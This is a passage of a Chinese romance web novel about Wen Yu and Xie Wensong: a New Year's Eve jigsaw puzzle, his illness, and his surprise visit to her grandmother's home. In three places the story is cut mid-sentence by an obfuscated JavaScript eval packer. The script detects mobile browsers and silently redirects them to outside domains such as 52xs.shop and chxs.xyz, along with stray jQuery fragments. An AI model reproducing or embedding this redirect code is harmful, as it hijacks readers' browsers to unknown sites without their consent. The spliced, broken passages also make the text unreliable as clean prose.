所以时间一长,她便也不再意外自己的生活中投射谢闻颂的身影,甚至可以笑着上去,和影子握手:“你又来了啊。” 不会再感慨遇见他好巧,而是演变为比接受更普遍的习惯。 温遇现在回想,谢闻颂总是站在离自己几步远的地方,不管你向前走还是回头,都能看见。 习惯确实是一种很可怕的东西。 所以如果他某一天忽然不站在她旁边,身边的气息再也没有熟悉的那一缕,就像他前段时间不知不觉离开南川,她后知后觉时,只剩怅然。 这种不适应带来的强效后遗症,到底会不会让她看清这到底是友情,还是她真的对他有区别于友情以外的其他情感。 这是喜欢吗? 还是区别于友情和爱情的另一种陌生情感。 她也不知道。 于是刚才被抽走的枷锁再次回到她身上。 温遇一个人坐在沙发上,靠着抱枕思考这个问题,狭窄的心房堆了还未理顺的毛线团,越想越乱,直到手机的来电铃声强制让她不要继续琢磨。 “我在门口了。” “嗯,马上来。” 温遇放下手里的抱枕,去给谢闻颂开门。 谢闻颂进来的同时把门带上,温遇回到刚才坐的位置,低头刚想拆拼图的包装,结果头发挡眼,她只好去卫生间找了根皮筋,把散下来的头发匆匆绑上。 “你先拆吧,我去拿点吃的。” 温遇将手边的拼图推给谢闻颂,自己起身去厨房拿下午做的小点心。 虽然圣诞刚过,不过温遇还是做了几款圣诞图案的饼干,比如姜饼人、圣诞树造型的,好看到能出去摆摊的程度。 自己在家做的都是低糖版,吃起来也比较放心。 温遇端着餐盘再回来时,谢闻颂已经在给拼图碎片的颜色分类了,《冬灯》这张拼图颜色算纷杂,不太好分。 一般这种拼图最好先把外框架拼出来,再往里填。 她当时买完全是冲着颜值去,然后想跨年夜拼倒也应景。 茶几的高度略有些矮,他们坐在沙发上要弯腰拼,温遇简单尝试下,姿势有点累。 茶几下面铺了层薄毯,温遇又找来两个坐垫,提议要不要坐垫子上在茶几拼。 谢闻颂自然没什么意见,两个坐垫挨着搁下,温遇盘腿往下坐时,肩膀和谢闻颂的磕在一起。 往常这样并肩坐的时刻也不是没有,可温遇却第一次觉得有些拘谨。 谢闻颂在分拼图,她心不在焉抓一小把在手心,拼图边缘的棱角抵在掌底,心里乱糟糟的。 温遇在那扒拉一小堆拼图,都没发现谢闻颂已经转过头,目光朝她这边投来。 “刚分好的,又乱了。”他无奈笑了声,“温鱼鱼,你是不是来捣乱的?” 话虽这么说,但谢闻颂一点责备的意思也没有。 温遇先是愣住,随即猛然看向自己手放的位置。可不是把刚才谢闻颂分好的两堆抓到了一起吗? 偏偏心里想着事,一点也没发现。 手指瞬间松下劲,小块拼图在指缝间失重坠落,片片砸在桌面上,砸落的声音在空间里格外明显,仿佛被空气里每个分子共同见证。 “啊,对不起。” 温遇决定不打乱谢闻颂分拼图,双手放在曲起的膝盖上,下巴颏儿蹭着睡裤的绒毛,一副做错事之后惯常的乖巧样。 谢闻颂看了她一眼,又去把刚才被温遇抓乱的拼图重新分了堆,见她就乖乖坐在旁边出神,也在想她似乎有哪里不太对。 不过既然温遇没有主动提起,那他也不打算直接问。 而且她一副不太想分享的模样。 凭他对她的了解,应该能在今晚找到答案。 就算暂时找不到也没事,温遇瞒不了他太久。 她的隐晦,他也读得不少。 这次也一样。 《冬灯》一共有五百块,大部分上面都有闪闪的金箔,温遇拼得挺认真,有时候实在找不到位置,下意识就想问旁边的人。 而谢闻颂也总是能敏锐感觉到她这边所发生的每一个问题,然后放下自己手里的来帮她。 电视里随意放着某综艺,两个人谁也没听,将音量调到最小一格,仅高于静音。 奇怪的就是,在这样并不完全排除外界干扰的环境里,她刚才还嘈杂的心渐渐静下来,伸手拼图有时候会和谢闻颂的衣服蹭到一起,刮起细小的静电,小到忽略的声音被这样暖洋洋的气氛稀释,窗外的寒冷仿佛与他们无关。 两个人各自拼好自己那一部分,最后准备往一起合,温遇借机伸了个懒腰,然后听见谢闻颂说:“好像少一块。” 伸到一半的懒腰被这句话直接打回炉重造,温遇连忙凑过去,果然最中间的位置少一块。 她开始在桌面的每个位置找这最后一块拼图,就连茶几上堆的擦手纸巾下面都找了,还是没有。 温遇又拉着谢闻颂一起起身,接着在地面上找。 她甚至还想看沙发下面有没有,起身的时候脑袋差点磕到茶几,还是谢闻颂将手垫在桌边才没被撞到。 刚才整理好的心情好像被这一片拼图再次搅得五味杂陈,拼了三个多小时最后还丢了一片,温遇重新坐到坐垫上,一言不发。 余光瞥到谢闻颂也坐了下来,她在想他现在的心情应该也不比她好多少吧。 有种差一步就没赶上车的失落。 可偏偏哪里都找了,还是没有。 “温鱼鱼。” 温遇抿紧嘴角。 “你看我一下。” 她扭头,谢闻颂微微敛起下颌,眨着眼睛朝她笑。 那笑容深意里透着丝丝狡黠。 谢闻颂虽然没继续往下说,但是温遇已经隐隐有了猜测。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233409|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她睁大眼睛,声音大了点:“不会最后一片在你手里吧。” 闻言,谢闻颂嘴角弯起的弧度更深,没说话,只是远离温遇那边的手缓缓抬起,露出食指和中指之间夹着的,正是那最后一块拼图。 喜悦像泡泡机打出的肥皂泡一样往外冒,瞬间将刚才的失落淹没干净。 心情跌宕起伏,不亚于坐一场过山车。 温遇胸前微微起伏,伸左手就要去够,可谢闻颂像是有心不想让她碰到,逗她玩儿似的,在手指即将碰到的时刻又拿远一些。 她瞬间就发现这人要捉弄她。 儿时互相较劲的时刻重回脑海,温遇紧绷嘴唇,专注盯着谢闻颂手里的拼图,连他不声不响改变的目光都没发觉。 发绳早已松散下来,温遇的长发兜不住,耳侧的一缕落在谢闻颂的颈间,带动他喉结上下滚动。 谢闻颂也觉得痒,微微偏头也没选择把她头发挑开。 而温遇专注去夺他手里的拼图,碰到的那瞬间身体重心转移,为了防止摔在地上,她只能用另一只手扶住谢闻颂的肩膀。 她身上的重量瞬间落在谢闻颂身上。 肢体轻微碰撞的闷钝声让温遇瞬间发觉自己刚才到底做了什么,她仓皇垂眼,还没来得及躲就在中途被谢闻颂截住。 她跪坐的姿势要比谢闻颂高一点,但尽管如此,她在谢闻颂手里抢拼图还是相当费劲。 四目相对,睫毛颤动都格外明显。 动作间,谢闻颂的毛衣领口也被扯乱,上面还别了根她的头发。 窗外的烟花声入耳,零点倒计时敲响,这些被鼓噪的心声全部吞没,变为己有。 温度沿着耳根向上攀爬,只是被头发遮挡兀自发高烧,温遇想回到自己的位置,可后腰被谢闻颂的手臂横着,她前也不是,退也不是。 目光被迫与他对视,谢闻颂微微扬起脸,深色眼瞳看不透任何情绪。 电视光斑在他脸上游移,半分真实半分梦。 “你用这种眼神看我,是想让我回应你什么吗?” 温遇脑袋轰一下炸开,她声音明显弱下来,扶他肩膀的手都在发烫。 “我用什么眼神了?” 谢闻颂收回架在她身后的手,掌心蜷起撑着额头,姿态恢复惯常的懒散,直言:“不太纯洁的眼神。” 温遇不知道自己刚才的眼神是不是真如他所说,就算真的是,她也不想在还没整理好心情的时候就被谢闻颂点破。 思维挣扎半天,她只能握紧掌心的拼图坐回原来的位置,吐出一口气,默默将中间的缺口堵上。 “我那是对你私藏拼图的气愤,你刚才看我在找还不给,明显是故意捉弄我。” 越说越理直气壮,温遇把刚才流露的丁点慌张重新收回,假装自己真的在为这件事生气。 心率早已超过往常跳动的频率,温遇怕谢闻颂也发现自己的不正常,身体带着坐垫又往旁边挪了挪。 客厅的灯设计在天花板围了一圈,暖色温馨调的光芒恍恍倾斜,像银丝漏下的一场朦胧雨。 谢闻颂双手交叠放在茶几上,像同桌上课时和她说悄悄话的姿势。 “那公主现在还生气吗?” 温遇感觉心房里一直有只兔子在上蹦下跳,没看他,只是别扭道:“生气。” “那怎么办?”谢闻颂把桌面上的垃圾简单收拾掉,啧了声说:“你又不像我好哄。” “……” 这是什么值得骄傲的事情吗? 几百年前的梗还在用。 温遇“记仇”,正要在心里给他添上一笔,转头时看见谢闻颂伸手接下她头上轱辘下来的发圈。 他颇有兴致地看了眼掌心,又重新撩起眼皮看她,两边眉毛轻轻往上挑一个很浅的弧度,是不会让人反感的挑衅表情。 不仅不反感,还有点勾人。 燎得人心头热热的。 温遇心尖猛然一跳。 “那就只能委屈鱼鱼公主宽容一回,别跟我计较了。” 谢闻颂单手撑开皮筋,视线在她散落的发丝上略作停顿。 “这回应该比上次绑得好,要不要试一下?” “当做给公主道歉了。” 38.荔枝 38/ 连着几天,温遇感觉自己敏感到路过隔壁的门口都要谨慎往那边看一眼,总觉得下一秒谢闻颂就会推开门从里面走出来,然后看见是她。 那晚谢闻颂和她一起给《冬灯》刷胶,温遇原本想等到胶干透再给装到画框里。结果背靠沙发,将所有重量交给柔软的坐垫,她强撑着精神看电视,看到一半便趴在茶几上睡着了。 后面的事她不清楚,只知道醒来的时候自己躺在床上,被子盖得很严。 熬夜后醒来和宿醉都有相似的疲惫,她起床倒杯水,谢闻颂已经不在她家里,于是迷迷糊糊又来了个回笼觉。 再起床时精神基本恢复,她路过客厅这才发现茶几也被收拾整齐,最醒目的位置摆放着正方形画框,里面赫然是那副刷好胶的拼图。 一片也没少,完美得不可思议。 自然光线下,《冬灯》上面的金箔发出反射,淡淡的金色光在整体暗色调的画面里宛若点点星辰锦上添花,温遇将书架空出来的位置留给它。 睡着之后发生的事她一无所知,第二天手机里也没有新消息,温遇只能假装自己什么也不知道。 只是她唯一清楚的事,就是知道自己产生了逃避心理。 那晚的事情她没有忘,也还记得她整个人差点叠在谢闻颂身上。 本想在元旦小长假想明白的事似乎并不能在短时间内掰扯清楚,温遇便想先这样过。 不过从跨年夜那天到放春节假,她并没见过谢闻颂几次。 社里放春假前只上了半天班,温遇早在年末第一批放票时候就抢到了回余杭的票。 上大学以后,温遇每次过年都是回余杭和外婆一起过,徐翩禾和温成钢也知道,刚开始并不太同意,不过又听她说去陪唐熹,便也选择默许。 夫妻俩也知道他们为唐熹做的太少,便也想通过温遇多弥补弥补。 想着老人面前总有孩子在,总是不会太孤单的。 温遇又何尝不明白这一点呢?只是亲情有了裂缝,再试图弥合起来就显得格外难,但她也不会表现在面上,维持着这份感情本身的体面。 其实还有一个原因,就是她也成长到可以独自做与父母期待方向不一样的决定了。 他们想阻拦,也并不容易。 原来JAY《晴天》里面说的“距离吹得好远”不止可以用来形容爱情。 原来成长不只有孤独一种,也将一部分自由还给了她。 温遇可收拾的东西不多,她抢到的是今天晚上的车票,薄荷色的小行李箱靠在她脚边,温遇刚把门锁上,转头看见隔壁谢闻颂家的门紧闭。 封闭安静,这几天都一样。 核桃明显也不在家,可能又因为他太忙而被送去宠物中心。 果然,他们年底都不太轻松。 稍微在门口停了会儿,温遇在手机上看到司机定位。出租车进不来蓝湾,她拉着行李箱到小区门口上车,直奔高铁站。 从南川回余杭,高铁只要两个小时,她到余杭的时候天刚刚黑下来,时间还不算晚。 高铁站门口围了一圈司机正在努力拉客,车灯为满目的霓虹添了不止一笔,而温遇却选择坐地铁回家。 正是下班点,温遇在车厢里找了个安全感满满的角落倚靠,微信里程以桉问年后几个人的聚会她要不要参加,她刚回完消息,看见最下面自己和谢闻颂的聊天框被顶下去了。 她重新上拉回来。 他头像里小猫水灵灵的葡萄眼似乎在和自己对视。 略作犹豫,温遇戳开谢闻颂的朋友圈,下拉刷新一下,并没有新发的动态。 冬天的车厢暖风劲挺大,温遇的脸被吹得特别烫,烫得连带指尖都有点发麻。 地铁又一个加速的瞬间,温遇后背因为惯性撞在刚才倚靠的位置。 隔着厚衣服没什么疼感,反倒撞出了一丝清醒。 找到林思睿的聊天框,温遇删删减减发了一句话过去:思睿哥,你知道谢闻颂这几天在忙什么吗? 温遇都没说自己这边联系不上,其实压根是不太敢联系,只能这样旁敲侧击的问。 但林思睿好像也在忙,温遇只好先把微信挂在后台,刷会儿别的软件就点回来看看,只是快到站了都没收到消息。 从人流里分开,温遇刷地铁码出站,将小行李箱放在自己脚边乘坐扶梯到地面,一侧的耳机提示微信有新信息。 应该是林思睿的回复。 边扫脸解锁手机,温遇边提好行李箱放在地面,她靠边站,外面的冷气撞到还发烫的脸,有种意外的舒服。 呼吸白气将屏幕氤氲一层模糊,温遇用袖口擦了下,在看清消息的时候,她却站在原地有片刻凝滞。 我是three大王:谢闻颂生病了,刚在医院挂水呢。我也是今天去找他才知道的。 我是three大王:妹儿,你方便的话要不要来看看他? 小鱼丸了:我刚到余杭。 寒风让脸庞的温度直降,温遇有点不太能描述自己此刻的心情。 只觉得对话框里无言的空白是冬天难化的冰雪。 - 林思睿提着餐盒重新返回急诊楼时,某人正把兜帽拉到头顶靠在椅子上,拉到头顶还不够,连眼睛都被挡上,只留下半张轮廓锋利的脸。 看着一副不太好惹的样。 这人往那没骨头似的一坐,哪里是来打针的,不知道还以为是来度假的。 林思睿将餐袋放在他没打针的那只手旁边,碰碰:“诶,吃饭,别耍帅了。” “……” 谢闻颂没有动作,只是用鼻音嗯了声。 白色卫衣的抽绳一长一短在那挂着,林思睿强迫症上来想给拽成一样长,不过看到这家伙的态度,又忍不住将吐槽放到这上面。 “温遇今天回余杭了,刚给我发消息问知不知道你这几天去哪了。” 谢闻颂听到熟悉的名字,脑袋在靠背上挪到他这边,兜帽檐刚好遮到眼下,除了压平的嘴角,林思睿也摸不透他此刻是什么心情。 “她每年都回去的。” 等半天就等到这一句话,林思睿深深吸了一口气:“她刚才没说自己回余杭时,我还问她要不要来医院看一下你,现在我庆幸她没来,否则来了一看你精神状态倒是好得很。” 这样说多多少少有点气他的意思。 毕竟林思睿又何尝不知道某人的心思。 谢闻颂单手把白色兜帽从头顶撩开,眼下泛浅青色,眼白有不少红血丝,只是被睫毛垂下的阴影覆盖,并不明显。 他上身微微坐直了点,闻言瞥了向旁边人,一点要生气的意思也没有:“医院这地方,她能少来就少来。” 林思睿已经把打包袋拆开,谢闻颂让他买的都是便利店食品,吃起来简便,他本来也没想吃啥别的珍馐,想着能稍微填点肚子就行。 三角饭团露出一角,谢闻颂刚垂头咬了一口,迟滞抬起头:“你没加热?” “……” 林思睿面露尴尬。 刚才看到温遇的消息,自己一着急拎着打包袋就回来了,也没加热。 里面的饭团和三明治都是凉的。 “那个,我去问一下医院有没有微波炉加热的地方……” 林思睿指尖刚想勾住打包袋,谢闻颂抬手阻止他:“不用了,就这样吃吧。” “一会打完吊瓶,我还得回环想。” 林思睿从鼻子里挤出一股气,直接把无语写在脸上:“身为老板,生病了都不给自己放个假?” 谢闻颂没说话,四五口吃完了一个饭团,将吃完的包装纸收到一块,最后重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285878|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装回袋子里。 加绒的卫衣兜帽将他的脖子捂得严严实实,只露出一张因为生病微微泛白的脸。 被白炽灯打着,虽然脸色发白,不过刚才还有精力和他说这么长时间的话,估计没多大问题。 林思睿瞅着他,在心里骂了句变态。 前段时间出差,刚回来没几天又开始忙,连核桃都没时间管,打个吊水的功夫还得单手回复工作邮件,忙得脚不沾地就差整个人悬浮在空气里了,连人回老家了都不知道。 护士给谢闻颂卸针的功夫,林思睿在一旁冷飕飕来了句:“事业心别太强了,小心回头妹妹给你忘在脑后了。” 谢闻颂盯着手背贴的止血胶布,不在意地起身,一副不为所动样:“你刚不说她还问我来着吗?” 语气轻飘飘的,对他刚才说的话半点没放在心上。 “现在没忘就行。” “…………” 如果环境允许的话,林思睿甚至想给他鼓个掌。 有你这样的恋爱脑,以后做什么事都会成功的。 - 正好林思睿也有点要处理的事,可以顺便送谢闻颂回环想。 谢闻颂刚把帽檐拉到眼前,本想小憩一会儿,上衣兜里传来手机的细微振动。 尽管把帽子拉下来,车外的霓虹还是晃得刺眼,他半闭上眼,单手把手机拎出来,解锁之后这才看到是温遇的信息。 发热后的眩晕感还未消退干净,他看眼前东西都重影。 以为是工作信息,想着一会回去了再解决,却没想到是温遇发来的。 想到刚才林思睿说她在打听自己。 心尖微微颤动一下。 小鱼丸了:你生病了吗? 他打字比往常慢,像是连回复的时间都格外珍贵:嗯。 那边明显在线,秒回。 小鱼丸了:那你现在感觉好一些了吗? 谢闻颂又打了个嗯发过去。 打字框里的绿色竖线速度似乎越来越快,像他不稳定的心跳节拍,谢闻颂仰头呼出一口气,热得直熏脸。 等待对方再次发来消息的间隔,谢闻颂偏头看向窗外,刚好和正悬挂在黑暗里的月亮对上眼。 今天夜晚有层薄雾,仿若一块橡皮轻轻擦平了月亮的两个角。 掌心被细微的振动震得酥麻,此时的心率比寻常安静下来时要快,谢闻颂收回望向窗外的目光,重新落回屏幕上这个影响他最明显的人身上。 他有时也在想,到底喜欢一个人要到什么程度上,才能哪怕从不相干的人口中听到和她名字谐音的字,都会忍不住心跳加速。 也许生病会不自觉让人生出脆弱感,直面内心平时被压制的各种复杂心绪。 就比如现在。 他很想见她。 如果可以。 甚至还想得寸进尺地抱一抱她。 哪怕借助脆弱,说一声我好喜欢你。 只是很多事一开始只能想一想,时间一久,便成奢望。 小鱼丸了:我给你买点药寄到家里吧,你现在方便拿吗? 谢闻颂回她说没事,温遇在那头说外婆刚才找她有事,如果他这边需要什么随时和她联系。 他说好。 于是对话又这样在自然而然的进行时里结束掉,谢闻颂本想放下手机稍微休息会。 刚才一直盯着屏幕,现在眼前又出现重影,头又热又晕,仿佛被困在四面不透风的桑拿房里。 谢闻颂偏头望月,发了一条仅自己可见的朋友圈。 【说宇宙太过空泛,今晚我们只讲月亮。】 宇宙虽大,不如一轮钝角月亮。 比如现在。 温鱼鱼,我有点想你。 你可不可以,抬头看看月亮。 一眼就好。 39.荔枝 39/ 谢闻颂处理好环想这边的工作回蓝湾时,已经过了零点,后天是除夕夜,照往年的习惯,他应该是回家过。 发烧的晕忽劲一直持续到回家,谢闻颂卸下力气直接仰躺在沙发上,核桃前天被他送到林思睿那了,明早估计就能接回来。 手背贴在额头上,谢闻颂试图感觉自己还烧不烧。 手机提示音把他快沉下去的清醒重新拽上来。 乔若琳给他发消息,说是自己和谢景舟可能过年回不去,让他自己安排时间过年。 夫妻俩年轻时就都是工作狂,现在快到退休的年纪也没想着多休息。谢闻颂出生以后,两个人围绕着孩子生活,他长大以后,两个人才把重心重新放回工作上。 也是尽全力给孩子一个美好的童年了。 至少谢闻颂成长得很好。 刚林思睿吐槽他是工作狂,谢闻颂还在想这是不是遗传。 乔若琳话到最后,不免说些让他自己有时间做点饭,别老吃快餐外卖之类的话。 乔若琳发的语音,谢闻颂听她从头絮叨到尾,最后一条语音谢景舟在旁边小声咕哝了句什么,估计被乔若琳一个眼神扫到,于是笑嘻嘻地插了句:“儿子,好好照顾自己”。 直至所有语音全都播放完,谢闻颂忍不住抬起手挡在眼睛上。 没有要流泪,只是眼眶有点发烫。 他不是敏感的人,但今晚叠的buff好像有点多。 客厅里很安静,翻身时衣角刮擦的响动都能放大无数倍。 躺了一会,谢闻颂像下定决心似的,点开订票软件,找到最近一班飞余杭的机票,没有犹豫订下来。 那他就借着生病,任性一回。 不同于南川的潮湿多雾的天气,余杭的冬天稍显干燥,谢闻颂刚从机场出来,便被/干冷的寒气扑了一脸。 病还没好全,他被冷气呛得咳嗽两声。 上飞机前管工作人员借了个体温枪,测完显示还有点低烧,谢闻颂吃了两粒药,一觉睡到下飞机。 提着自己的东西,一路打车到温遇外婆家的楼下。临门一脚的事,他却开始迟疑。 凌晨的冲动劲仿佛到这一刻才彻底从身体之中抽离出去,谢闻颂感觉他自己好唐突。 连招呼都没打,就这样不请自来。 只因为昨晚的一时上头。 他都觉得自己有点荒唐。 可是脚步在原地定住,进也不是,退也不是。 今天是除夕,才刚八点,楼下就已经有小孩在放鞭炮,石板路上红色的碎屑散落一地,被冷风一刮,连着烟尘气息,又在空气里重新扬起。 满目是欢欢喜喜的红色,单元楼门还被人贴了春联,左边的一角也不知道哪个小孩用动漫贴纸粘了下。 贴得还挺严实,至少没翘角。 谢闻颂在门口转一圈,连角落里发灰的苔藓都快熟悉到看对眼,他还是没离开。 直到遛完弯的唐熹从外面回来,看见正站在单元楼门口的人,先是愣了下,走近点才看清人脸,尝试叫出人名:“小颂?” 谢闻颂转过身,唐熹见真的是他,不禁哎呦一声道:“是不是敲门没人给你开?小鱼昨晚铁定又熬夜了,结果睡太沉,没听见你敲门。” “不是的外婆,我刚到,还没上去呢。” 谢闻颂等她说完才开始解释:“而且她前几天工作挺累的,多睡会可以养养精神。” 唐熹听完他的话嗯了声,赶紧用门禁刷开单元门,顺手给他撑了下:“快上来吧,外面多冷啊。” 刚进门,谢闻颂从鞋柜里找到自己上次来穿的那双拖鞋,顺手把黑色羊绒围巾挂在门口的挂架上。 他认真理好下摆,然后还将刚才唐熹随手放在鞋柜上的门钥匙放进收纳盒里,有种第一次到人家里的拘谨认真。 其实用“拘谨”这个词描述稍显夸张,只是谢闻颂养成的习惯而已。 习惯将生活上并不起眼的细节做到认真这一步,不是到别人家才这样。 他自己生活,也是这样。 锅里温着粥,屋子里飘起一股淡淡的米香,晨光晒烫窗帘,他隔着层玻璃都能听见外面的鞭炮声。 谢闻颂站在门口把围巾的褶皱理好,在想温遇会不会被吵醒。 如果她醒来之后发现他在,又会是怎样的心情呢。 钝角月亮像是一道魔咒,在他心上刻了道疤,他总是会想伸手去触摸,可还是离指尖太远了。 唐熹瞅了眼蒸锅里的菜,从厨房出来边擦手边和谢闻颂说:“小颂,你去叫小鱼起床吃早饭吧。” 谢闻颂单手抵在桌板上,原本平静的眼神微变,睫毛因为这句突如其来的话而无措颤动。 他看向唐熹,刚想说自己不太方便进女孩子的房间,后者笑着看了他一眼,朝他摆摆手。 “也是,我也是糊涂了。” “忘记你们已经长大了。” - 除夕前一天晚上,温遇和程以桉通了视频电话。 年后陆星桓打算搓个聚会,说是过年那段时间大家都要和家里人聚聚,可以等年后初五初六再约。 消息从程以灏那先透过来,程以桉听到个小尾巴就跑到温遇这通风报信了。 这边挂着视频,温遇分神刷剧,闻言平静嗯一声:“那就去吧,正好我还没上班。” 程以桉正在那头往手上倒神仙水,拍脸声不断,听到她的回答倒是停下动作,将脸凑到屏幕前,神情颇为认真:“季霖菲也会去。” “嗯。”温遇面上波澜不惊,甚至挺悠闲地打了个哈欠,“她是陆星桓女朋友,她去不是很正常的事吗?” 程以桉看她挺平静,心下倒是松口气。 自从上次在派悦酒店的宴会结束后,她还没和温遇再在线下见过面,平时聊天也很少会聊到和陆星桓有关的话题。她原本还担心温遇的状态,不过今天一看,她也知道温遇大抵是放下了。 女孩之间的共情能力很强,她和温遇四舍五入也算发小,彼此对对方的性格也都了解。 所以在知道温遇的心思时,她才会担心。 担心她这样看上去似乎什么都伤害不到的人,会独独为喜欢而钻牛角尖。 想到这,程以桉纳闷。 没出口的话也能变成乌鸦嘴吗? 不过好在,这样的日子终于要结束了。 程以桉放下心,怡然自得往后撤了撤身,继续刚才没拍完的脸:“你去我也去。” 话刚说完,这头的温遇神色认真地看向镜头:“你觉得,谢闻颂对我怎么样?” ? 程以桉嗅到了一丝不太对的气息,刚放下去的心又提上来。 想起上次自己给温遇发语音说谢闻颂冷脸的事,结果当事人和她在一块。 这次程以桉的警惕心明显提高了,视线在温遇身后能看见的地方都过了一遍,还是不太信任她:“谢闻颂不会就在你旁边吧,又想从我这套话?” 温遇只好将手机镜头翻转,在房间里转了一圈:“我在外婆家呢,他没来。” 见谢闻颂是真的没在旁边,程以桉这才开始输出:“他啊,确实对你挺好的。” “不过好像也就只对你好点。” 程以桉提到这,似乎有很多话要说:“不是你就瞅他平时往那一待,一副清冷仙子生人勿近的样,除了平时和他走得近的人,其他人谁敢上去搭话。” 温遇有点怀疑她是不是夸张了:“有……吗?” “怎么没有!”程以桉反驳坚定。 “你忘了你高中有好几次咱俩约着去咖啡店吃点东西,你没跟他一起坐车回去,他摇下车窗坐在车里看我那表情,感觉我把他妹妹掳走了一样。” 程以桉睁大双眼,还在持续输出:“得亏他现在不是你对象,不然这占有欲也太强了。” “…………” 程以桉反应过来自己说了什么,连忙捂嘴,开始往回找补:“那个……不是……” “你觉得他对我有占有欲吗?” 温遇突然问了这么一句,因为她确实对这方面不太了解。 不是因为迟钝,是因为这么多年来,她和谢闻颂基本都是这个状态相处的。 平和之中小打小闹从不间断,但细数每一个相处的瞬间,都在脑海中放映如昨日一般清晰。 程以桉下意识说出来刚才那些话,现在想想倒也开始犹豫:“可能他……只是不习惯自己一个人回家?” “不然你们这么多年,要有可能也早有可能了。” 平板里的电视剧还在播放,可是温遇已经没有什么心思看了。 她仰躺在床上,反复回想刚才程以桉的话。 是啊,要是有可能,早就有苗头了。 可是这样“早就”的事,好像连带着她都被拖迟钝起来。 迟钝到有人点破时,她才察觉。 所以谢闻颂是早就该没该,还是和她一样迟钝到现在。 或者是,从来都没有这样的想法。 他只当她是一起长大朋友,仅此而已。 温遇感觉这将会是一个世纪问题。 …… 和程以桉双排打游戏到后半夜,温遇才熄掉床头灯陷入梦乡,原本没做梦来着,结果一大早就被窗外闷闷的鞭炮声吵醒。 温遇是有点起床气在身上的,起初只是咕哝一声好吵便把被子拉高到头顶,结果根本挡不住楼下的鞭炮响。 于是她顶着黑眼圈从床头坐起,试图睁开干涩发疼的眼睛,窗帘没拉,被角都被晒烫。 从门缝里溜进来菜粥的香味,温遇摸摸发瘪的肚子,还是决定起床。 毕竟应该也没办法继续睡下去了。 屋里有暖气,温遇只在吊带外面随意套了件宽松衬衫,下身甚至还穿着短裤。 唐熹不止一次让她多穿点,温遇觉得是暖气太热,所以基本一直在家穿吊带,袜子也很少穿,净光脚踩拖鞋。 温遇随意套了下,一边的肩膀还露在外面,衬衫还没拉上去。 她拉开门,边打哈欠边往外走:“外婆,我们吃……” 谢闻颂正端着碗从厨房出来,正和刚出房门的她眼神对上,温遇刚才还发涩的眼睛瞬间睁大,然后迅速把一侧肩膀的衣服拉上去。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304559|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻颂将手里热腾腾的粥碗放在离温遇最近的位置,“起得正是时候,吃饭吧。” 温遇坐在椅子上,说话难得结巴起来:“你、你怎么来了。” 昨晚和程以桉讨论的男主角今早醒来就能撞上,温遇首先怀疑这到底是不是梦。 难道她还没醒? 没忍住伸手搓了搓脸,两侧手掌挤压脸颊,落在谢闻颂眼里像在卖萌。 萌而不自知的后果就是,一个随意的小举动,把他的心搅得一团混乱。 谢闻颂把刚才端粥碗被烫红的手指放在一起捻了捻,刚想着自己还要回厨房拿餐具,还没等转身,就见温遇坐在椅子上,一张小脸被热气熏得红扑扑,正抬眼看他:“你病好了吗?” 谢闻颂下意识用自己的手背贴向额头:“应该没事了。” “等等,我看一下。” 手刚放下垂在身侧,谢闻颂就那么看着温遇单手撑在桌面上凑过来,空出来的那只手贴在他刚刚触碰的位置。 谢闻颂原本还算沉静的眼神,因为她这个举动难得迟滞,仿佛被剪辑师拉成慢镜头。 他注意到温遇一侧的肩带因为往前探身的动作有往下掉的趋势,连忙敛下目光,无措地看向扶住桌沿的手指。 温遇的手比他要凉,细腻触感贴上去的那一瞬间,谢闻颂不得不在心里卑劣地承认,他要感谢昨晚任性的冲动,今早才能见到这样鲜活的她。 “好像还是有点烫。”温遇反复和自己额头的温度做对比,然后在家里的小药箱里找到一盒退烧药,边看有效期边往回走,“先给你拿一盒退烧药吧,如果再烧起来的话记得吃。” 药盒就放在谢闻颂的手边,他盯着上面的印刷字体来回看了好几眼,说了声好。 …… 谢闻颂在这边一直都是睡沙发的,好在沙发足够大,只是材质偏硬,晚上睡觉前唐熹把被子找出来,谢闻颂怕老人累着,自己抢先给搬到沙发上。 好在家里有暖气,客厅并不怎么冷,可老人总是习惯关怀备至地将所有事问个透彻才肯放下心。 这不除夕夜当晚,唐熹睡觉前还要把自己担心的问题再问一遍,比如他冷不冷啊,会不会睡得不舒服之类。 谢闻颂一点不耐烦也没有,属于问什么答什么的类型,他额发乖顺垂下,甚至回答时后背都是挺直的。 温遇在餐厅接水,默默观察这一幕,差点被呛到。 谢闻颂有意投过来一个眼神,甚至还有时间朝她挑眉。 心尖上那块最敏感的皮肤仿佛被某人拿着狗尾草一遍遍挑衅似的摩挲,温遇吞下喉咙里的那口温水,回以一个扬起来的下巴。 